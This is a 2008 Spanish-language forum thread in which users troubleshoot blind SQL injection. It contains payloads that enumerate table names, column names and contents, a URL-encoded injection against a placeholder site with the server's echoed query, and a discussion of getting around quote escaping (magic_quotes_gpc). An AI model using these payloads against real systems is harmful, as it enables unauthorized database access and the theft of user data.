Título: duda con BSQL Publicado por: R41N-W4R3 en 29 Marzo 2008, 11:12 am Hola a tod@s, estoy teniendo un problema a la hora de realizar una inyeccion ciega, y quisiera saber si hay algo q este haciendo mal: He seguido los siguientes pasos: ... AND (SELECT Count(*) FROM Tabla) >= 0 para saber nombre de tabla ... AND (SELECT Count(campo) FROM Tabla) >= 0 para saber nombre de campo Con las dos sentencias anteriores no tengo problemas, saco los nombres de tablas y campos de las mismas. ... AND (SELECT Count(*) FROM Tabla WHERE campo LIKE ‘%’) > 0 para saber contenido del campo con esta ultima inyeccion si tengo problemas, pq por ejemplo: ... AND (SELECT Count(*) FROM usuarios WHERE nombre LIKE ‘%’) > 0 eso deberia darme cierto no???? ya que hay algun nombre metido en la tabla usuarios, pero siempre me da falso. Tambien he probado: AND (SELECT Count(*) FROM usuarios WHERE nombre LIKE ‘a%’) > 0 AND (SELECT Count(*) FROM usuarios WHERE nombre LIKE ‘b%’) > 0 Asi hasta la z y del 0 al 9...pero siempre da falso. Alguien puede decirme q estoy haceindo mal?? Gracias de antemano Título: Re: duda con BSQL Publicado por: pepeluxx en 29 Marzo 2008, 16:18 pm Supongo que te estará fallando porque confunde el % ... es decir, sabes que un espacio es %20 ... si encuentra un % tras el LIKE lo confundirá con un código ASCII. Prueba a poner:
AND (SELECT Count(*) FROM Tabla WHERE campo LIKE '%25') > 0 Título: Re: duda con BSQL Publicado por: pepeluxx en 29 Marzo 2008, 16:47 pm Mmmmm he estado realizando pruebas y parece que el error está en las comillas ...
Por ejemplo, si pruebas: AND (SELECT Count(*) FROM Tabla WHERE 1=1) > 0 funciona bien, pero con: AND (SELECT Count(*) FROM Tabla WHERE '1'='1') > 0 da error ... por las comillas. Seguiré mirando y si veo algo lo comento :P Saludos Título: Re: duda con BSQL Publicado por: R41N-W4R3 en 29 Marzo 2008, 20:19 pm Gracias por tu ayuda :) voy a probar diferentes codificaciones de las ' a ver q pasa.... Título: Re: duda con BSQL Publicado por: pepeluxx en 29 Marzo 2008, 20:32 pm Acabo de probar con mi server y tras inyectar esto:
http://www.xxx.com/x.php?id=1%20AND%20(SELECT%20Count(*)%20FROM%20usuarios%20WHERE%20user='admin')%20%3E%200 la respuesta que me da es esta: Datos=1 AND (SELECT Count(*) FROM usuarios WHERE user=\'admin\') > 0 CADENA=SELECT * FROM empresa WHERE codigo=1133 AND (SELECT Count(*) FROM usuarios WHERE user=\'admin\') > 0 Efevtivamente, esta cambiando ' por \' asi que habra que buscar una forma de saltarselo Título: Re: duda con BSQL Publicado por: pepeluxx en 29 Marzo 2008, 23:13 pm Bueno, ya está solucionado. He escrito en mi blog cómo saltarse el parseo de comillas:
http://www.enye-sec.org/pepelux/?p=16#more-16 Título: Re: duda con BSQL Publicado por: pedrox@ en 15 Abril 2008, 18:41 pm magic_quotes_gpc :rolleyes:
|